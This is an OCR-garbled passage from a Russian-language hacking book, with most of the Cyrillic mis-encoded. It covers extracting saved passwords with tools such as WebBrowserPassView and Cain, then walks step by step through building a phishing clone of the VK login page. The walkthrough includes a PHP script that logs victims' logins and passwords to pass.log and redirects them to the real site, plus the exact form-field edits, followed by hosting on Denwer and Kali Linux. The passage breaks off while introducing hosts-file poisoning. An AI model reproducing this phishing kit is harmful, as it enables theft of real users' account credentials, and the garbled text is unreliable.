e coboit 4To-TO THMa WASHTU(HUKALMOHHOMN KapTOYKH NoJib3oBaTess) — puc. 1.11.

Tonbko 3aMeTM — Hy’KHa KoMMepueckas Bepcus... Ho xyxe Bcero To, uto B MHTepHe-
Te eCTh TaKk Ha3bIBaeMble "TabneTku" 1 Ha KOMMepUecKyto Bepcuio. Bee mis xakepa!

[Iparna, momoOHKIM cOPT MOKET UCTIONB30BATh HE TOJIBKO XaKep, HO U JII000# MoJIb30Ba-
TeJb KoMmbioTepa B "MUpHBIX" HensX. OueHb 4acTO BallM 3HAKOMbIE 3a0BIBalOT CBOM
napoju s Bxona B Ty ke moury, "BKonrakre", "OnHoknaccHuku'... 3amyck SIW Ha
KOMTIbIOTEpE CKIIEPO3HUKA PEUINT yKa3aHHbIE TPOOIIeMBbI.

OpnHaKapl NPUXOAWIOCH BUAETh, KaK POAMTEIN oOpallaivuch K HIMPOKOH OOIIeCTBEHHO-
CTH Ha caiiTax, popymMax: OHM UCKAJIH, KTO MOKET UM IOMOYb B3JIOMaTh MoUTy 0€3 BECTH
nponasiero pedbeHka, T. K. OpUIHMATBHBIMU KaHAJIaMH BCE 9TO PeIlajioch JI0JIro, a BpeMs
MOTJIO OBITH YMyIEeHO. B MogoOHbIX cuTyalMsax Hy»KHO ObUIO MPOCTO MPONTHUCH MO BCEM
KOMITbIOTEpaM, Ha KOTOPBIX X peOeHOK oOLacs Mo mnoute (M Takux, CKopee BCero, He-
MaJio), 1a monpoOoBaTh BhILIETIEPEUUCICHHbBIE CIIOCOOBI.

Masio Toro, aHajmoru4Hbli (yHKIMOHaN, onucaHHbii Hamu Ay SIW, ectb u B Cain
(puc. 1.12). IlpaBaa, mo HammM HaOmoneHusM SIW B 3ToM HanpaBieHUH paboTaeT JIyd-
me, yem Cain. Tem He MeHee, HIellkaeM MO 3HAYKY OOJBINOrO TUTIOCA TIPW aKTHBHOMN
Bkiagke Decoders, B Hamnem npumepe — a1 IE 7/8/9 Passwords.

[TonpoOyiiTe HakaThb KHOMKY CO 3HAYKOM OOJBILOrO IUIIOCA NMPU aKTHBHOW BKJIAJIKE
Credential Manager. Pe3ynbrar Takoii xe, kak Ha puc. 1.11. [Topaxkensi?

3a0bIThIe MAapov MOMOraeT MOJyYUTh, HAallpUMep, Takas He Tpedyrollas yCTaHOBKH Oec-
TiatHass mporpamma, kak WebBrowserPassView, puc. 1.13 (http://www.nirsoft.net/
utils/web_browser_password.html). Ona "nonumaer" naponu, coxpaHeHHble B Opay3e-
pax pasiauyHbIX pa3pabOTUUKOB.

H3noxkeHHOE MOTUXOHBKY MOJrOTABIMBAET Bac K M3YYEHHIO B3JIOMa IIM(POBAHHBIX
napoJei... UntepecHoe ewe Bnepenu!
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File Wiew Corfigure Tools Help
+* CHALL CHALL - P -y —
S CR + % | B, ¥ ED o
E2 Decoders I & Hetwork I@ aniffer I@f Cracker I@ Traceroute |M o I“ij'
1, Cached Passwords Resource | Username | Passward
g Protected Storage & hktp: Jjmail ruy babins haona? UF
4 LS_A lSecrets 4 @http:,l',l’mail.ru,l’ babins hona? UF
= |ees Passw &1 hktp: fjmail o dekoy hona7 UF
i sords @http:,l',l’vk.com,l’login noseddmin, .,
Dishun Passuiords @http:,l',l’vk.com,l’login onotinl 983a@a... UF honzr
Edit goxes &1 https: {fmail.rambler.r. babin a7idl12rty
Enterprise Manager @http:,l',l’wwt-.\l.odnoldass DnoltmIQBBa_@a... jdig54321
Credential Manager @ https: | fmail.ruf babins hona7 LFf
\Windows Yaulk @ https: k. ine.infof...  sergeygraf sra7UF

ﬁ WebBrowserPassView

File Edit View Options

|®__ﬂ

Help

Puc. 1.12

URL

— files///c:/webservers/home/testl.ru/ww...

Web Browser

Internet Explorer 7.0 - 8.0

User Name
1111 @22222.com

E http:/ftestliu/ Internet Explorer 7.0 - 9.0 12345@12345.com fatata

E http:/ftestliu/ Internet Explorer 7.0 - 8.0 2222222 1111111 I

E nttp://testlru/ Internet Explorer 7.0 - 9.0 222222 222222 §

Enttp://testlru/ Internet Explorer 7.0 - 9.0 22222 222222

E nttp://testlru/ Internet Explorer 7.0 - 9.0 11111 11111

@ http://testl.ruf Internet Explorer 7.0 - 8.0 1111 1111

E http:/ftestlru/ Internet Explorer 7.0 - 8.0 111111 1111

Enttp://testlru/ Internet Explorer 7.0 - 9.0 bddbdbbd

4 | 1 | 2
15 Passwords, 1 Selected NirSoft Freeware. httpiiwww.nirsoft.net

Puc. 1.13

1.2. BnokHoT ana douwmHra. Denwer. Kali Linux

Bepnemcs k Bompocy Kpaxk mapoJieil mjis couuaibHbIX ceTeid... [locie Toro kak mpu
ayTeHTU(UKALMK MOoJIb30BaTeNeil cranyu npuMeHaTs SSL, 1)1 3710yMbILLUIEHHUKOB XKM3Hb
ocJoKHUMack. M Bce ke yKpacTh Maposib ¢ MOMOLIBIO (DPUIIMHIOBOrO caiTa MOXET W
wkoabHUK. [Touemy? Jla mpocTo moToMy, YTO [JIsl 3TOro Aake HEe HYXKHO KaKHX-TO CIie-
LUaJIbHBIX TMporpamM... TekcToBoro penaktopa, okasblBaeTcs, JocTaTouHo. biokHoTa,
HarpuMep! KcraTh, UMEHHO MO3TOMY, W3-3a MPOCTOTHI U Kaxylleics 6e300uaHOCTH
JEsIHUS, LUKOJIbHUKY M HYXKHO OOBSCHSTD, UTO 3TO YrOJOBHO HAaKa3yeMoe MpecTyIUIeHHe.

Ho Bce ke paccMOTpUM, Kak 3Ty MPOLEAYPY NpoJesibiBatoT xakepbl. [lepBbiM aenom
C MOMOIIBIO peAaKTopa co3/laeTcsi php-cKpUNT cieayrollero coaepxaHus (MPUBOIUM
¢ HeOOJIbITMH KOMMEHTAPHUSIMH ):
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<?
$Login = $ POST['bl']; // JlormH aTakyeMoTo
$Pass = $ POST['D2']; // laposye araxKyeMoro
$log = fopen ("pass.log","a+"); // Orxperrme ¢ainna (pass.log),
// B KOTOPBII BaMMCHBAKTCSI IAPOIINA

fwrite ($log, "<br> $Login:$Pass \n"); // 3anmcb YUETHBIX OAHHEIX

// arakyemoro B pass.log
fclose ($log); // 3Bakpermue Gaina C yUETHEMM IAHHEMM ATaKyeMOT'O

echo "<html><META HTTP-EQUIV='Refresh' content ='0;
URL=http://vk.com'></html>"; // TlepeHanpapJleHME aTakyeMOTO

// Ha peasibHBIL CanT
>

Daiia co CKPUNTOM Ha3bIBaIOT, cKaxkeM, b0.php.

3nech NpuBeneM OpuMep IJid caMOi MOMyJIApHO# B cTpaHe coluanbHOi ceTu "BKoHTak-
Te", HO aJIrOPUTM aHAJIOTMYEH M JJIs APYrux pecypcoB. BooOiie-to, naBath nomoOHbIe
rOTOBbIE peLenThl — Jieno HebyaronapHoe. Ckopee BCero, UCXOHBIM TEKCT CTPaHULIbI
st apropu3aund "BKoHTakTe" momeHsieTcs K TOMY BPEMEHM, KaK 3Ta KHUra Mnonaaet
K Bam. M 3T0 gaske XopoI1o, mOTOMY 4TO, 3Hasi OCHOBHBIE MPUHLIUIIBI B MTOAXO0/I€ K TAKOTO
polia AecTBUSAM, Bbl BCe PaBHO BCETJa CMOXETe MOBTOPUTH 3kcriepumeHT. [Iparna, mpu-
nercsi HeMHoro nokonarbes B konax HTML.

Hrax! JIro6piM OpayzepoM riaBHyto ctpaHuiy http://vk.com coxpaHSIOT Ha JTOKAJIbHBIH
KOMITBIOTEp, Ui Yero W3 KOHTEKCTHOrOo MeHIO BbIOMpaioT koMaHay COXpaHHTh Kak.
[Ipu coxpaHeHuu ykaspiBatoT THn ¢aiina Bed-cTpaHHIa MOJHOCTBIO U 3aJaI0T UMS —
index. B pesynbrate momyuatorcs: Qaiin idex.htm u manka index files ¢ HeckonbkuMU
(hatinamu.

Hanee daiin idex.htm oTKpbIBalOT U UCTIPABISAIOT TEKCTOBLIM PEAKTOPOM (TeM ke biok-
HOTOM) CJISYIOIIMM 00pa3oMm:

1. B catine idex.htm iyt TeKCT cO CIIOBOM FORM.

2. Yepes CTpOUKY HUXKE €CTh TAKOU TEKCT:
name="login" action="https://login.vk.com/?act=login"

3. B aTOM TekcTe MEHSIOT UMs (name) Ha TO, KOTOPBIM Ha3BaJIU CKPHUIMT, T. €. HAa b0 . php,
¥ COOTBETCTBEHHO JIOJKHA MOJYYUTHCS CIEAYIONIast 3alUCh:
name="b0.php" method="POST"

4. Jlanee, emnie 4yepe3 HECKOJBKO CTpOYEK (MPUMEPHO uepe3 IIEeCTb), HAXOAMUTCS Clie-
ayrouiee:

<DIV class="labeled"><INPUT id="quick email" class="text" name="email"
type="text" ></DIV>

B sToMm TekcTe hparMeHT name="email" MEHSIOT Ha name="b1" (MIMEHHO TaK B CKpPHITE
Ha3BaHa IepeMeHHas IJIsl UMEHH aTaKkyeMmoro). B pesynmbTaTe 3Ta CTpouka cTaHeT
TaKOU:

<DIV class="labeled"><INPUT id="quick email" class="text" name="bl"
type="text"></DIV>
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5. Ewie uepe3 HEMHOrO HUKE B TEKCTE:

name="pass" type="password"> </DIV>

CJIOBO pass 3aMEHSETCSl Ha3BaHHEM MEePEeMEHHOM [UIs aposis U3 CKPHITA b2 TaK, YTO-
OBl MOJTyYHIICS TEKCT:

name="b2" type="password"> </DIV>

Janee, uToObl NpaBUIBLHO cpabaThiBalia KHOTIKA, HAXOMAT TEKCT </FORM> M 3aMEHSIOT
(MMEHHO 3aMEeHSIIOT) CIIeYIOIIHM:

<DIV class="button blue button wide"><BUTTON id="quick login button">
Bonu</BUTTON></form></DIV>

UToOBI HE MOABUIINCH JAB€ KHOIIKH, y6I/IpaI-OT TECKCT, CJ'Ie,HyI-OH.[I/Iﬁ 3a </FORM>:

<BUTTON id="quick login button" class="flat button button wide
button big">BoiTnu</BUTTON>

Bcé! Takum obOpa3oM, (uIIMHrOBas cTpaHHWla noAarotorieHa. UtoObl yk coBceM Bce
ObUIO TMOHATHO, (pparMeHT OpuUrvHana npuBeneH Ha puc. 1.14, a wu3MeHeHHbI ¢par-
MeHT — Ha puc. 1.15.

OFOBOpI/IMCﬂ Cpa3sy XK€, 4YTO 3aME€HY UMEH Ha bl U b2 MOXHO ObLITIO ObI HE MNpou3BOAUTH, a
HCIIOJIB30BAaTh B CKPUIITEC UMECIOLIUECA B KOAC CTPpaHULIbI HAUMEHOBAHUWA, HO TaK HArJda-
HEEC, KaKWE€ JaHHbIC U KaK HCIIOJIb3YCT Halll php—CKpI/IHT.

Bce noarorosneHo, HO 37ech AJis1 XaKEePOB TMOABISIETCS cepbe3Has npobieMa — CTpaHHu-
Ky HY>XHO pa3mecTuTh B MHTepHeTe Ha cepmepe, moanepkuBatonieM php (vHaue, 6e3
nojaep>kku, php-ckpunt npocto He cpaboraeT). BooOie-to, momoOHbIX OGecruiaTHbIX
XOCTHHI'OB HE Tak YK W Mano. Eciu B mouckoBoil cTtpanuie 3aaate: "decniammuvlil Xoc-
mune ¢ no0OepcKkoil php'"', TO N1erko 0TOOPA3UTCs CIUCOK C JISCATKAMHU TaKUX CEPBEPOB.
A BOT TYT-TO BCE€ CIOXHOCTH TOJIbKO M HAYMHAIOTCs! 3auacTyro, HECMOTpPS Ha JeKJapu-
pyeMyto 6ecriaTHOCTb, ¢ MOJb30BATElIs BCe PABHO HOPOBAT B3ATh JCHBI'M WJIH MOCIe pe-
THCTPALMK MO HEMOHSITHBIM NMPUYHMHAM HEe MPUXOUT MUCHMO C MOATBEPHKICHUEM, H T. 1.,

<FORM id="quick login form" onsubmit="if (vklogin) {retumn true} else {quick login();retum false;}"
method="POST" name="login" action=""https:/login.vk.com/? act=login"><INPUT name="act"
value="login" type="hidden"><INPUT name="role" value="al frame"

type="hidden"><INPUT id="quick expire input" name="expire" type="hidden"=<INPUT

id="quick captcha sid" name="captcha sid" type="hidden"=<INPUT id="quick captcha key"
name="captcha key" type="hidden"><INPUT name="_origin" value="http://vk.com"
type="hidden"><INPUT name="ip h" value="cledcb7{c48c9ab896" type="hidden"><INPUT
name="lg_h" value="84813322ef725d6b12" type="hidden">

<DIV class="label">TenedoH rm1d email</DIV>

<DIV class="labeled"><INPUT id="quick email" class="text" name=""email" type="text"=</DIV>
<DIV class="label">TTapons=</DIV>

<DIV class="labeled"><INPUT id="quick pass" class="text" onkeyup="toggle('quick expire,
!!this.value);toggle('quick forgot', !this.value)"

name=""pass" type="password"></DIV=<INPUT class="submit" value="TIona4a 3ampoca"
Type—"submit ></FORM><BUTTON

id="quick login button" class="flat button button wide button big">Boiitn</BUTTON>=<BUTTON style="display:
none;"

id="quick_reg button" class="flat_button button wide button _big" onclick="top.showBox('joinphp', {act: box', from:
nav .strLoc})">Peracipauni</BUTTON>

<DIV class="clear forgot"><A id="quick_forgot" href="http:/vk.com/restore"

target="_top">3a0bITH IAPOIET</A>

Puc. 1.14
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<FORM id="quick login form" onsubmit="if (vklogin) {retumn true} else {quick login();return false;}"
method="POST" name="login" action=""b0.php" method="POST"><INPUT name="act"

value="login" type="hidden"><INPUT name="role" value="al frame"

type="hidden"><INPUT id="quick expire input" name="expire" type="hidden"><INPUT

id="quick captcha sid" name="captcha sid" type="hidden"><INPUT id="quick captcha key"

name="captcha key" type="hidden">=INPUT name="_origin" value="http://vk.com"

type="hidden"=<INPUT name="ip_h" value="cledcb7{c48c9ab896" type="hidden"=<INPUT

name="1g_h" value="84813322ef725d6b12" type="hidden"~

<DIV class="label">Tenedon rH email</DIV>

=DIV class="labeled"=<INPUT id="quick email" class="text" name="b1" type="text"></DIV>

<DIV class="label"=Tlapons</DIV>

=DIV class="labeled"=<INPUT id="quick pass" class="text" onkeyup="toggle('quick expire',

'this value);toggle('quick forgot', !this.value)"

name="b2" type="password'=</DIV><INPUT class="submit" value="Tloga4a zampoca" type="submit">

<DIV class="button blue button wide"><BUTTON id="quick login button">BoimTa</BUTTON></form=></DIV>
<BUTTON style="display: none;"

id="quick_reg_button" class="flat_button button_wide button_big" onclick="top.showBox('join.php', {act: box', from:
nav.strLoc})"=Perncrpamma</BUTTON=

Puc. 1.156

u 1. 1. [IpaBna, u aTo g xakepa He Oema. Xyxe To (Ui Xakepa, KOHEYHO, XyXKe, a He
JUISL HAC), YTO Ha MHOTHX CEpBEpaX aHAIM3UPYIOT COACPKUMOE UMEHHO Ha Ciy4yaid pas-
MelleHus TaM (puInuHroBoro caiira. M, mubo 6e3kanocTHo yaaisioT (GUITUHTOBBIE CTpa-
HULIBI, MO0 OJIOKUPYIOT MOJIb30BATENs, T. €. 3JI0yMbllieHHUKa. Haiitu noaxoasiuii
cepBep Ui YepHOTo Jlela HauMHAIOIIeMy XaKepy He Tak-TO MpocTo. MBI ke MmopaaoBaB-
IKMCh 3TOMY (haKTy M KaK 3aKOHOMOCIYIIIHbIE I'pakjilaHe Pa3MEeCTHM MOJTYYSHHYIO TeCTO-
ByIO (UIIMHTOBYIO CTPaHUIy Ha COOCTBEHHOM cepBepe, a 3aTeM yKpajeM Mapolib caMu
y ce0s, B y4eOHBIX LeJIIX. ITO, KCTAaTH, 1a€T HaM XOPOLIMI MOBOJT YIIOMSHYTh O 3aMeva-
TeJIbHOM abCoNOTHO OecCIulaTHOM MPOrpPaMMHOM WHCTPYMEHTapHH, JHKEHTIBMEHCKOM
Habope, NpoCcTO He3aMeHMMOM MpHu oTiianke caiitoB: Denwer (http://www.denwer.ru/),
puc. 1.16. Y1060HO uMeTh Takoe CpeACTBO ISl PA3IMYHBIX 3KCTIEPUMEHTOB, B TOM UHUCIIe

etz (oo 51

/ & Nensep - nokansHsid cap X\

= C M [ www.denwerru o @

B penwer

[eHBep - nokanbHbIn cepeep. CkavaTb [eHBep, OeHeep
ycTaHoBuUTe WAMP cepeep ans localhost (PHP 5.3.13,
MySQL 5.1, PostgreSQL 8.4 etc.) BO3MONHOCTH NpoEKTa

[KeHTABMEHCKWA Habop Web-paspabotymka («0.H.W.p», YMTaeTca «[eHBep») — NMpPoeKT Watenenma (CHANGELOG

OmMuTpus KoTeposa, NoKanbHblid cepsep (Apache, PHP, MySQL, Perl u T.4.) 1
nporpaMMHasn odonoyKa, UCnonb3yemele Web-pa3paboTunkamMu 4nsa pa3paboTku calTos
Ha «AoMallHeid» (noxansHoi) Windows-mawmHe Be3 HecOXoAMMOCTU BbIXoAa B
WMHTepHeT. MaeHan ocobeHHOCTs [eHBepa — yA0OCTBO NpW yAaneHHOH paboTe cpasy
Haj HECKCNbKMMM HE3ABMCMMBIMK MPOEKTAMM M BO3MOKHOCTL pasMellenna Ha Flash-
HaKonuTene.

YcTaHaBnveaeM JeHBel

Balla pexknaMa Ha caiTe

OcTaBsTe CBOWH OT3IB

Cocras: Apache 2.2.22 + SSL, PHP 5.3.13 + XDebug,
MySQL 5.5, phpMyAdmin 3.5, MHOrONPOEKTHOCTL,

pabota ¢ Flash-HakonuTenem

Puc. 1.16
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| JUIA OTJafKU Ge30MacHOCTH NP M3yYeHHH OCHOB BeO-XakuHra. IIpy CKauMBaHWM Bac
MONPOCST 3apPETUCTPUPOBATHCS, M CCBUIKA OyeT IMPHCIIaHa Ha Balll [IOYTOBBIM SAIIHK.

IIpu ycraHOBKe NMporpaMMel ydine Beioepute BapuaHT 2 (puc. 1.17). MHcTammamus: npo-
HCXOAUT OBICTPO M MPOCTO: Kakue-THOo crienanbHbIe 3HaHUs He TpeOyroTes (puc. 1.18).
Crapr cepBruca OyneT nIpor3BOAUTHCS Mociie BIOopa sApibika Start Denwer (puc. 1.19).

Konupywrca oanab, »auTe...
O6HOBAAACH NAPAMETPH KOHOUI YPAUMHM . - .

fleHBep MOXET 3aNycKaTLCA B ABYX pexumax:

1. Bupryaasuwi nuck cosnpaetvca [IPH 3ATPY3KE OC. 3anyck cepsepos
0CYUECTBARETCA C NOMOWLIO APANKA HA Pasouer ctoae. [lpu 3aBepueHun
pasoru flensepa BupryaabHwmi gauck HE otkawuaertca.

* JTOT pexur PEKOMEHAYETCS HCMNOAL30BaTb, €CAM BHM COGMPAETCCH
UCNOAL3IOBATH BUPTYaAbHLU AMCK, HE 3anyckas cepsepos (Hanpumep.
XOTUTE 3anyckarb Perl-ckpunTm HEe TOAbKO W3 6pays3epa,. HO W U3
KOMAHOHOW CTPOKHW) .

2. NMpu sarpyske OC suptyasbnuwn auck HE cospaervca. Ha Pacouenm croae
TaKke, KAk W B N. 1, CO3RANTCH APABKH AAR 3aNYycka U OCTAHODBA G
Npu 3anycke cepsBecpoB BHAYAAE CO3AAETCA BHUPTYAALHBIKN AUCK, NOCALR
0CTaAHOBA AUCK OTKANYAETCH .

* Heo6X0nMMO NOMHUTb, YTO B 3TOM pPexMMe NpM HeakTusHon flewsepe ne

* §ypeT QOCTYNA K BUPTYaabHomy uucky (B yactHocTu,. K Perld.

»* Kpore voro, Hexkoropwe sepcuu Windows He ymewr NpasHALHO OTKANYQTH
* pUpTYyasbHm puck (Tpeeyerca nepe3arpyskad

Pexorennyerca BwM6pars BAapHaHT 1, NOTOMY YTO OH HAUE0AEE YNOEEH.

Beeaure 1 waw 2 [11:

Puc. 1.17
JeHBep ycneniHo YCTAHOBJIEH >
97008t #a9ATH ats JeHsep, np 1y Ty ReficTBHI: M
1. 3amyctute Heunep, ys Start D ua PaGoaen craste. Ecis BH He CO3MaBanA SPILIKHK, TO MOKHO 3aMyCTHTD
Jlensep no RoMauge C: \WebServers/denwer\Run.exe.
2. Otrpotire Spaysep i mepeitnure Mo anpecy bpAocathost.
3. Bu YBAZETS T VIO C
4. Eumnome:an):xnﬂeuncpah@/'locnﬁmstmm pLTe, He P s [leABep Rammd aHTHRHD win daep Hanpanep
6o 3ameveHE! npobnemn ¢ NOD32 B Windows XP (B rex ﬂymo 106aBHTE NIp X:fusr/local/apache/bin/hitpd.exe 8 cnncox ¥, 370 MOKHO
caenats B okae IMON/Hactpoit 'Paanoe/ﬂ ).
Puc. 1.18

Puc. 1.19

Iocne ycranosku Denwer Ha Bam kommbiotep BbI nomyuure WWW-cepsep (Apache)
BHYTpH Halled CeTH, JOCTYNHBIA mo anpecy http://127.0.0.1 (T. e. Ha CBOEM KOMITbIOTe-
pe), ¢ nonHoit nomnepxkkoit PHP (na emne u MySQL, u Perl Bxo6aBok), puc. 1.20 u 1.21.

Hoxka 9ro npu mepexoze mo ccsuike http://testl.ru (puc. 1.21) Be1 nosyyure coobmenue
"O10 daiin /home/test]l.ru/www/index.html". Hama 3amaua — 3aMeHMTh 3Ty CTPaHHMILY
CBOEH, HCITPaBICHHOM IS QUINMHTA.
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Puc. 1.20

Puc. 1.21

KonupyeM Hally TeCTOBYIO (UIIMHrOBYIo crpamnmuy B karaior C:\WebServers\home\
testl.ru\www cepBepa (T: K. 10 YMOJTYaHHIO MBI ycTaHOBIIM Denwer Ha muck C:\ B nan-
Ky C:\WebServers) — puc. 1.22.°

\

ITocne sToro mepetineM ¢ OCHOBHO# cTpanuIbl Denwer 1o cchUike Ha testl.ru # yxe yBu-
JIMM TECTOBBIH (HMINMHTOBLIH CaifT, 4TO-TO OUYeHb HaM HanoMuHaromui (puc. 1.23).

B mone Tesepom mam email BBemeM Ham moGoif TECTOBBIN JIOTMH, HampuMep
menshikova@mail.ru, a B mosne Ilapoas — mmo6oii mapons, Hanpumep 3qazp;/QAZP:?.

ITocne HaxaTws Kiauy <Enter> win kHOkH BoHTH Hac mepeOPOCHT Ha HACTOALIMIA
caiiT (11 ‘aTaKyeMoro 5TO MMHTAIs TOro, YTO IPOCTO HE MOJYYHIOCH MPABWIHHO
‘C TepBOro pas3a BBECTH YyderTHbie HaHHBIe). M, B karanore C:\WebServers\home\
testl.ru\www nosiBwics (aiin pass.log ¢ HICKOMBIM JIOTHHOM H mapoiieM (puc. 1.24).
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BIONTRNTE ~ YHVBEPCAIbHOE CPEACTBO 1N OGIHEHIHA ¥ TOWCKA APY3EH 1 OAHOKAACCHIKOS,
KOTOpHIN YIOTCR RECHTIH Mu

“Momewtanguas perwcipanss

<br> menshikova@mail.ru:3gazp; /QAzP:7? '

Puc. 1.24

Taxkum o6paszom,.ObiTa MpoBepeHa paboTOCTIOCOOHOCTh (PUIMIMHTOBOM TECTOBOM CTpaHM-
1. [Ipu ee HCnob30BaHUM JIOTHHBI ¥ TapONTH GyyT 3alMCHIBATECS, OC/IE YETO MOJIB30-
BaTesb Oy/ieT MepeHanpaB/ieH Ha HaCTOAIIMI CaiT.

Vroxnas nporreHukaM Windows, omimem emme oiuH croco6 I OTIaIKK GUIIMHTOBOK
TecTOBO# cTpanmitel. C 3To# Hemnpio OyaeM ucnons3oBathk Kali Linux (panee BackTrack).
TewM Gornee, 4T0 OH MOHANOOUTCS HaM eIe HEOJHOKPATHO.

TpoekT mpezcTaBiseT co60i HaGOp MPOrpaMM, CTIELMATBHO PeAHA3HAYSHHBIX IS TeC-
THPOBaHMA Ha 6e30mMacHOCTh, CO3JAaHHBIM Ha Ga3e HECKONBbKMX Linux-mucTpubyTHBOB.
Bce Haubonee M3BeCTHBIE. IPOrpaMMBI, CBA3aHHBIE C TeMOH "6Ge30macHOCT", cOOpaHBI
B "onuH ¢akod". O6pa3 qUCKa MOXKHO MOYYHTb MO a/IPECy: '
https://www .kali.org/downloads/

Yro6bl y Bac Bce MOTywIIOCH HABEPHAKA, M3 BCEr0 MHOr0oOpasms, IPeILIaraeMoro pas-
paboTumkamm, JTydme Bcero ckayaeM o6pas (iso) — Kali Linux 32 bit. 3amucats na
IIMCK 3TOT 00pa3 MOXKHO Jo6oii noxxonsameii mporpammoii, Hanpumep DAEMON Tools
Lite — oHa GecruraTHas.

3mech 1 gajnee Mbl OyAeM HNpOCTO 3arpyxarbes ¢ qucka 6e3 ycraHoBku Linux Ha xxecTkuit
JIUcK. [y HamMX OMBITOB 3TO OYeHb YIOOHO.

Hrax, 3arpysumcs ¢ mucka Kali Linux, eibpas Live (686-pae) (puc. 1.25).

Jins Havana 3amycTuM BeG-ceppep Apache, ncroms3ys merio Applications | Kali Linux |
System Services | HTTP | apache2 start (puc. 1.26).
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Boot menu

& (686-pas)
e GG pae Sail

i mid

st

Puc. 1.25

Accessories
+$ Electronics
m Graphics
@ Homradio

@ Internet

byf Programming
) i > J
w Sound & Video % Web Applications

@ System Tools ’ o Pussword Attacks

" Y oo
e Univarsat Accass .ﬁ,, Wireless Attacks
% Qther

>
s Vuioerability Anatysis

L~ Exploitation Tools
&4 sriffing/Spoofing
a' Mairtaining Access

g Revarse Enginaaring

’;:‘? Stress Testing

‘g Hardware Hacking
@I Feorensics
@5} Reporting Tools

ﬁ.ﬂ' Metasploit
37T mysat
ﬁﬂ. OpenVas

§7 ssH

Puc. 1.26
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CraproByio ctparmy WW W-cepBepa Tak Xke Hy»KHO 3aMeHHTH CBOei. [list atoro daiiisr
paHee IOArOTOBJIEHHOH HAMH TeCTOBOM (PMINMHIOBOM CTpaHMI (yKa3aHbl Ha puc. 1.22)
KOIHpYeM B HaIKy /var/www, IpaBJa, C OJJHOM JIMIIb pasHuel: ¢aitn index.htm HyXHO
neperMeHOBaTh B (aitn index.html. Y kpome Toro, 3/1ech e ClIeayeT pasMecTHTh (aiil
¢ uMeHeM pass.log (mycTs moka XoTs GBI IMyCTOM, YTOOH! Takke Ha3HAYUTH Ha HErO HeoO-
XoIuMEIe fpaBa), puc. 1.27.

.

Ocranoce coscem HemHoro! ‘Ha Bce ¢aiimel (Bkmodas iokeHHEle B manke index_files)
Hy)KHO Ha3Ha49WTh COOTBETCTBYIOIIHE IIpaBa CIEXYIOIMMM 0Opa3oM: INETYKOM IpaBoi
KHONKH MBIIHM BbI3EIBAEM KOHTEKCTHOE MEHIO, B KOTOPOM BBEIOMpaeM KOMaHIy
Properties. B niosBuBImeéMCs: 1UAIOroBOM OKHE Ha BKiIanke Permissions i Bcex moms-
soBareneii B rpymme Others ycranasnueaem noctyn Read and write. A nis daiina
b0.php eme um B mapamerpe Execute otmeuaeM ¢uakok Allow executing file as
program, pa3pemaromuii BEIIOJHEHHe MporpaMmel. [IpuMep HasHadeHHs mpaB Ha (aii-
JBI TIpeQCTaBlIeH Ha puc. 1.28.

index_fites

index.html pass.log

Owner:

Access:

Group:

Accass:

- Others

Access:

Execute: @‘mw exeacuting fite as p@

SELinux context: unknewn

Lest changed:  Fri jut 24 17:45:37 2015

Puc. 1.28
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Ha camy marnky index_files Hy)xHO Ha3Ha4WTh IIpaBa Tak: B KOHTEKCTHOM MEHIO BhIGEpeM
komaHay Properties, B 1uanioroboM okHe Ha BKJajike Permissions 111 Bcex monb3oBa-
teneit B rpynme Others g napamerpa Folder access BriGepem 3HaueHue Access files
(puc. 1.29).

. index.files Properties

Parmissions 1

Owner:

Folder accass:

Fite access:

Group: -

Folder sccess:

ELS e e e S S e

Fite access:

Qthers

Folder access:

File access:

Execute: & Atlow exetuting file as program

SELinux context: unknown

Last changed:

e

Puc. 1.29
IToce sToro BeI3OBeM Opaysep, ucmonb3ys MeHio Applications | Internet | Iceweasel
Web Browser (puc. 1.30).

Applications Pl
xﬁ' Accessorias

#a Electronics

m Graphics

@ Hamra

tnr
"\, Kati Linux
W D\fﬁce
Atf Programming B
ﬁ Sound & Video .

@ System Teols

Dasktop Sharing
.» @ Empathy Internet Messaging

> Ettercap
>

Puc. 1.30
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BKoHTaKTe — YHUBEPCAnbHOE CRRACTEO ANA OBILEHUA M NOWCKA ARY3eN N g

KOTOPEIM EXEAHEBHE NOAL3YIOTCA AECATKM ]

Fotith

3afuiny NepoaL?

—
| Mowewranuan percrpauss
(s e
[Buagae |

Puc. 1.31

HakoHel, MBI CMOX@XEM BBI3BAaTh Hally TECTOBYIO (DHIIMHIOBYIO CTPaHHMIly IO ajpecy
127.0.0.1 (puc. 1.31).

Ho ucnertaTh Ham nmpuMep Tak, YTobbI cpaboTana nepeajpecanys K HaCTOSIIEH CTpaHH-
1ie, MBI ITOKa He cMoxkeM. Crienyer eie Hactpouts Kali Linux ms coexunenus ¢ MHTep-
HetoM. B 3Tux nemsax npu 3arpyxessom Kali Linux BeiGepeM 3HauOK, CUMBOJIH3HPYIO-
Ui napy KOMITBIOTEPOB, B IPaBOM BEpXHEM yTIIy 9KpaHa (puc. 1.32).

BriGepeM MMeEIOIIyIOCS TOYKY nocTyna (poyTep), B HameM mpumepe 370 AndroidAP
(puc. 1.33). ’

VPN Connections

Connect to Hidden Wireless Natwork...

» Create New Wireiess Natwork..,

Puc. 1.32 Puc. 1.33
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‘asswiords oF encryption keys are required to access the wiretess network

N e i

FTAERERNERES

»Sﬁuﬁpﬁs&wsr&- .

Puc. 1.34 '

Beeznem napoiis 1ocTyna 1 HaxmeM kHonky Connect (puc. 1.34).

CoenpHeHHE YCTaHOBHTCSA, O YEM CHCTEMAa HAC HE3aMEUIMTENHHO MpOMH(pOpMHpYyeT
(puc. 1.35).

B

Connection Established

Puc. 1.35

CreHn U1 MCTIBITAHUA PabOTOCIOCOOHOCTH CKPHIITA TECTOBOH (DHIIMHTOBOM CTPaHMIIBI
rotoB. Mo)xHO Mpo6OBaTh BBOAWTH JIOTHHEI U ITAPOJIH.

1.3. CounanbHas UHXXeHepusa

Hrak! TecroBas ¢puiumMHroBas crpaHHlla OTJIaXKeHa, oHa pabotaer. Ilaponu cobuparorcs
B 3a/laHHBIi (aitn. MbI ykpaii ydeTHbIe QaHHbie caMH y cedd... BoT 310 fa! CoBceM yx
KaK yHTep-odHLEepCcKas BIOBa!

Ho najpine BO3HHMKAeT BIIOJHE OKMAAEMBIH BOIPOC: @ KaK JKE XaKep 3aCTaBiISeT KePTBY
TOCETUTh UM CO3JAHHBIN MOJUIENbHBIH caifT? OQUH W3 IMUPOKO M3BECTHBIX MPHEMOB —
¢ MOMOIIBIO BUPYCOB MOAMEHUTH (haiin host Ha koMIBIOTEpe KEPTBHI ¥ TaKMM 00pazoM
